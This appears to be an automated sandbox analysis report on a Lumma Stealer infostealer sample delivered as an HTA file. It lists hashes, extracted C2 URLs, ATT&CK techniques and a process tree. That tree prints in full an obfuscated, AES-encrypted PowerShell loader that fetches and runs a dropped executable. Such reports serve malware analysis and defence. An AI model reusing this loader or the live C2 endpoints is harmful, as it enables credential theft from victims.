lumma | aaa862c14154374b00e16f2440dabfcb9c8b7ca6655942530c83a6c96c065438

General

Target

smart1.hta
Size

162KB
MD5

e779ad7fcdc079af0012414407e2e892
SHA1

752c018c3be78f9fb25587d6452f2f6b0d9cd3a2
SHA256

aaa862c14154374b00e16f2440dabfcb9c8b7ca6655942530c83a6c96c065438
SHA512

ad8813afdacfc7d0b462aa011523861d393dd752af580358b81cafe408cc89ad9e0a64cbf886c61757cfb30a3cec8b3cc1ce3bdf4372d24a5d1c04a80b4f3db0
SSDEEP

3072:088nbom5xIAb88nbom5xIAY88nbom5xIAo88nbom5xIA:ByxH6yxHNyxHdyxH

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Family

lumma

C2

https://femininedspzmhu.shop/api

https://writerospzm.shop/api

https://deallerospfosu.shop/api

https://bassizcellskz.shop/api

https://languagedscie.shop/api

https://complaintsipzzx.shop/api

https://quialitsuzoxm.shop/api

https://tenntysjuxmz.shop/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	1792	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
768	0calendarscope.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1792	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 768 set thread context of 4684	768	0calendarscope.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1792	powershell.exe
1792	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1792	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4996 wrote to memory of 1792	4996	mshta.exe	86
PID 4996 wrote to memory of 1792	4996	mshta.exe	86
PID 4996 wrote to memory of 1792	4996	mshta.exe	86
PID 1792 wrote to memory of 768	1792	powershell.exe	95
PID 1792 wrote to memory of 768	1792	powershell.exe	95
PID 768 wrote to memory of 4684	768	0calendarscope.exe	98
PID 768 wrote to memory of 4684	768	0calendarscope.exe	98
PID 768 wrote to memory of 4684	768	0calendarscope.exe	98
PID 768 wrote to memory of 4684	768	0calendarscope.exe	98
PID 768 wrote to memory of 4684	768	0calendarscope.exe	98

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\smart1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4996
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function fUUeIY($lrWzRn){return -split ($lrWzRn -replace '..', '0x$& ')};$FGCBsqZ = fUUeIY('08FD478788FD182E0D6A1297D93DACE694080CD7F35ADBE558CD7FBB26FB97CEF183BDC57B0782D2B310E50E9538F222218DAF2B5F0E61D9ADB34F76264C3C66C4FEABD1821E62EAD18B77FD172B17ECBAD2DDC3ECAB5642717B8F464BA00D90A0784154C8629D02179DA9B180F3781539C31AB37867F1C66AABA360A06DF2C2B35354B861395E34DF7A54434AB6F1524289CE6BA2AEE554C7D088A2BD34C7CFE4BE71DB90304E0DDBEC5C891AB135328DB0B3445C7A274667ECEA7166CE851718F520C05B8F68C1973471420FA9A9B02DE9BCD937464936741A859E9F88712A86E973BE67B43C7654010A114284698E85675BF3F408CBC0ADC0A5804E4D9A917FDA8D126DD6FDDEF79FF312B55099E3677E88C5CC51754000AABAD387DD7BD65CC78F68BE3FBA4D94E8CE87B0F790DDCA87540ACBF8166F48AD0086D2EDA5394E16C4A7679B8CEEB745A8C545CD148C06CC2C5A09AA9CC6469AD640061435C77E45E0CE3B1DDB0936FEF91858B2A3D608429A7F39D986595A35E9ECE74FE663C8E7D857E779004FA5AB393A609D450C4DF7EA77F0BBC2E548E712D804A47EFAEE269EEAF19FF4BA7A2E7BEE957A26AAB13695F858DD6BB5A340C2CEFB1E35B422EA6F57F5C88F3D3FC1486F497C0E8C1A4DF8E465319931B8161DCABC3EE9797EECF86AADB519097F90903A13EF068A5E603B5A861CD9886FCD92AFA622F92DB0E4F14E46DF13EC8D95C63E19E74F71924D72EAA971F41A9A6399D9EF65DE7DD16CBA871A8F1F1D8822ED8040E78E16C3E5232C80C361E4F41C46E87E061AE2BF0139E3C39FB1022398C54980F5D6ADFCAF3D17CADE553BEAA76A8D18E05AD505982913891A83B8934C2EBBD75BA6A408AAB72216AC0E735D644CF2D5F67605A0FC8929AD569B79002EEAA21701B0321230F0A0809C7FB51A46BD1ABECD92825349CC02861904FAFDE7A83C29598432DECA7C4A40B6A764E58FF811E0554E57AE64F8025CBA4286E1BCB741FCB1971DF9A16072E161CBD9150C18675D2A10794DE1DD2DB8903E9E8CE2342DB0D6ECB9A5B7743167B1B954CFCF564C2792DEE76CF4D4616D8CA8AB5A57307E79B95766E8AFB66600EB27BD6C56920B5852D4317EEA2025ABC60AF46FE117F3A988FF3C73DAF3C2D13FCAFA3A97F5A276CB11B4E57106A500F47040089F99C31749EB15778D452D80F7A3D0BE5087A618E411E97063841B046BB11F7E623056420EF838F4880A89743A375971C214C0260377A92D85E3ADD8BFE2991F6CA44F54949400C8248872973E9AE771937ABBE320166A0BE7E30620D088BB8192C40CBA2E457F577096559BF141CCBD3AA25E5ADA6F45958D2BCD6C0B047545BAA0D53B5A8608F585966668F7BCDB926421F8AA38184E2BE41C0CEE2A7C183C71D5E0091773A1337D292B3BC1B32C766CED4D9896DA0ECFBCD8E2FE21388F06CBACB282FABCE4DDBA921FE5529F378977716CF8B7164B116B2176C01C9A5340F8303C8D471A97627068C8D3FF3446062A857A52C429A4423E2E56C97ADB7CA3D773600AB1251901248A570FE9F556B6E775248C3FDAF052643CB9F16F1B7153ED12FAF60D9976');$mmXhH = [System.Security.Cryptography.Aes]::Create();$mmXhH.Key = fUUeIY('596C6F47555751725873557067474F55');$mmXhH.IV = New-Object byte[] 16;$jttVgzHn = $mmXhH.CreateDecryptor();$enAWQWiVe = $jttVgzHn.TransformFinalBlock($FGCBsqZ, 0, $FGCBsqZ.Length);$BMbsFEMTg = [System.Text.Encoding]::Utf8.GetString($enAWQWiVe);$jttVgzHn.Dispose();& $BMbsFEMTg.Substring(0,3) $BMbsFEMTg.Substring(3)
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Users\Admin\AppData\Local\Temp\0calendarscope.exe
    "C:\Users\Admin\AppData\Local\Temp\0calendarscope.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\0calendarscope.exe

Filesize
16.5MB

MD5
c77d9a74fc554afaf9d477f45175cdb5

SHA1
d3b673425c29de3820144600a606655dea31e75d

SHA256
9d3ccb5909fdb37465abeef19b83e868ccb6397ffa22ad434b7a16231a711fae

SHA512
d98ea6419918c06cd857dfa82ffc8628897e1e376559d0c0308a9bfc182cc8e78fff06c51d665c8793fa5ab441dd1ae6dc1cfab9ec2181e9a6469a3499ea0827

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sifmurmh.aui.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/768-99-0x00007FF6CA640000-0x00007FF6CB72E000-memory.dmp

Filesize
16.9MB

Download
memory/768-95-0x00007FF6CA640000-0x00007FF6CB72E000-memory.dmp

Filesize
16.9MB

Download
memory/768-92-0x00007FF6CA640000-0x00007FF6CB72E000-memory.dmp

Filesize
16.9MB

Download
memory/1792-25-0x00000000704BE000-0x00000000704BF000-memory.dmp

Filesize
4KB

Download
memory/1792-31-0x000000006CEC0000-0x000000006D214000-memory.dmp

Filesize
3.3MB

Download
memory/1792-6-0x0000000005550000-0x00000000055B6000-memory.dmp

Filesize
408KB

Download
memory/1792-5-0x0000000004D00000-0x0000000004D22000-memory.dmp

Filesize
136KB

Download
memory/1792-17-0x00000000057E0000-0x0000000005B34000-memory.dmp

Filesize
3.3MB

Download
memory/1792-18-0x0000000005CA0000-0x0000000005CBE000-memory.dmp

Filesize
120KB

Download
memory/1792-19-0x0000000005D50000-0x0000000005D9C000-memory.dmp

Filesize
304KB

Download
memory/1792-20-0x0000000007410000-0x0000000007A8A000-memory.dmp

Filesize
6.5MB

Download
memory/1792-21-0x0000000006200000-0x000000000621A000-memory.dmp

Filesize
104KB

Download
memory/1792-23-0x0000000006CA0000-0x0000000006CC2000-memory.dmp

Filesize
136KB

Download
memory/1792-22-0x0000000006F90000-0x0000000007026000-memory.dmp

Filesize
600KB

Download
memory/1792-24-0x0000000008040000-0x00000000085E4000-memory.dmp

Filesize
5.6MB

Download
memory/1792-26-0x00000000704B0000-0x0000000070C60000-memory.dmp

Filesize
7.7MB

Download
memory/1792-0-0x00000000704BE000-0x00000000704BF000-memory.dmp

Filesize
4KB

Download
memory/1792-29-0x00000000704B0000-0x0000000070C60000-memory.dmp

Filesize
7.7MB

Download
memory/1792-30-0x000000006CD50000-0x000000006CD9C000-memory.dmp

Filesize
304KB

Download
memory/1792-28-0x0000000007390000-0x00000000073C2000-memory.dmp

Filesize
200KB

Download
memory/1792-7-0x0000000005670000-0x00000000056D6000-memory.dmp

Filesize
408KB

Download
memory/1792-42-0x0000000007B70000-0x0000000007C13000-memory.dmp

Filesize
652KB

Download
memory/1792-41-0x00000000073D0000-0x00000000073EE000-memory.dmp

Filesize
120KB

Download
memory/1792-43-0x00000000704B0000-0x0000000070C60000-memory.dmp

Filesize
7.7MB

Download
memory/1792-44-0x0000000007C50000-0x0000000007C5A000-memory.dmp

Filesize
40KB

Download
memory/1792-45-0x0000000007C80000-0x0000000007C91000-memory.dmp

Filesize
68KB

Download
memory/1792-46-0x00000000704B0000-0x0000000070C60000-memory.dmp

Filesize
7.7MB

Download
memory/1792-47-0x0000000007CD0000-0x0000000007CE2000-memory.dmp

Filesize
72KB

Download
memory/1792-48-0x0000000007CC0000-0x0000000007CCA000-memory.dmp

Filesize
40KB

Download
memory/1792-4-0x00000000704B0000-0x0000000070C60000-memory.dmp

Filesize
7.7MB

Download
memory/1792-91-0x00000000704B0000-0x0000000070C60000-memory.dmp

Filesize
7.7MB

Download
memory/1792-3-0x0000000004D70000-0x0000000005398000-memory.dmp

Filesize
6.2MB

Download
memory/1792-2-0x00000000704B0000-0x0000000070C60000-memory.dmp

Filesize
7.7MB

Download
memory/1792-1-0x0000000004700000-0x0000000004736000-memory.dmp

Filesize
216KB

Download
memory/4684-100-0x0000000001290000-0x00000000012E9000-memory.dmp

Filesize
356KB

Download
memory/4684-98-0x0000000001290000-0x00000000012E9000-memory.dmp

Filesize
356KB

Download

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